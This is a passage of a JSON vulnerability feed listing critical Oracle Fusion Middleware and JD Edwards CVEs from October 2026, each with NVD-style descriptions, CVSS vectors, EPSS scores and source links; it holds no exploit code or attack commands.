(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:44.153Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91408","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00355,"percentile":0.28976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91408&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91408","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91408","type":"primary","publishedAt":"2026-10-20T22:20:44.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91408&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91408, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91354","cveId":"CVE-2026-91354","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:38.027Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91354","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00328,"percentile":0.25721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91354&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91354","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91354","type":"primary","publishedAt":"2026-10-20T22:20:38.027Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91354&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91354, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91341","cveId":"CVE-2026-91341","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 9.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 9.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:36.473Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91341","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00441,"percentile":0.38008,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91341&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91341","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91341","type":"primary","publishedAt":"2026-10-20T22:20:36.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91341&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91341, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91323","cveId":"CVE-2026-91323","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).","summary":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:34.323Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91323","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00496,"percentile":0.42288,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91323&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91323","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91323","type":"primary","publishedAt":"2026-10-20T22:20:34.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91323&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91323, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91305","cveId":"CVE-2026-91305","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:32.243Z","updatedAt":"2026-10-22T23:20:33.117Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91305","asOf":"2026-10-22T23:20:33.117Z"},"epss":{"probability":0.0042,"percentile":0.3599,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91305&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91305","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91305","type":"primary","publishedAt":"2026-10-20T22:20:32.243Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91305&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91305, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91299","cveId":"CVE-2026-91299","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Orchestrator product of Oracle JD Edwards (component: E1 IOT Orchestrator Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Orchestrator product of Oracle JD Edwards (component: E1 IOT Orchestrator Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Orchestrator.  While the vulnerability is in JD Edwards EnterpriseOne Orchestrator, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Orchestrator. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Orchestrator product of Oracle JD Edwards (component: E1 IOT Orchestrator Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Orchestrator.  While the vulnerability is in JD Edwards EnterpriseOne Orchestrator, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Orchestrator. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:31.557Z","updatedAt":"2026-10-23T12:18:17.050Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91299","asOf":"2026-10-23T12:18:17.050Z"},"epss":{"probability":0.00461,"percentile":0.3971,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91299&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91299","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91299","type":"primary","publishedAt":"2026-10-20T22:20:31.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91299&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91299, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91265","cveId":"CVE-2026-91265","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:27.557Z","updatedAt":"2026-10-22T23:20:32.367Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91265","asOf":"2026-10-22T23:20:32.367Z"},"epss":{"probability":0.0042,"percentile":0.3599,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91265&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91265","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91265","type":"primary","publishedAt":"2026-10-20T22:20:27.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91265&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91265, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91251","cveId":"CVE-2026-91251","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:26.090Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91251","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00447,"percentile":0.38568,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91251&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91251","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91251","type":"primary","publishedAt":"2026-10-20T22:20:26.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91251&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91251, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91250","cveId":"CVE-2026-91250","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:25.970Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91250","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00447,"percentile":0.38568,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91250&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91250","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91250","type":"primary","publishedAt":"2026-10-20T22:20:25.970Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91250&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91250, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91243","cveId":"CVE-2026-91243","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  While the vulnerability is in Oracle Business Process Management Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Business Process Management Suite accessible data as well as  unauthorized access to critical data or complete access to all Oracle Business Process Management Suite accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 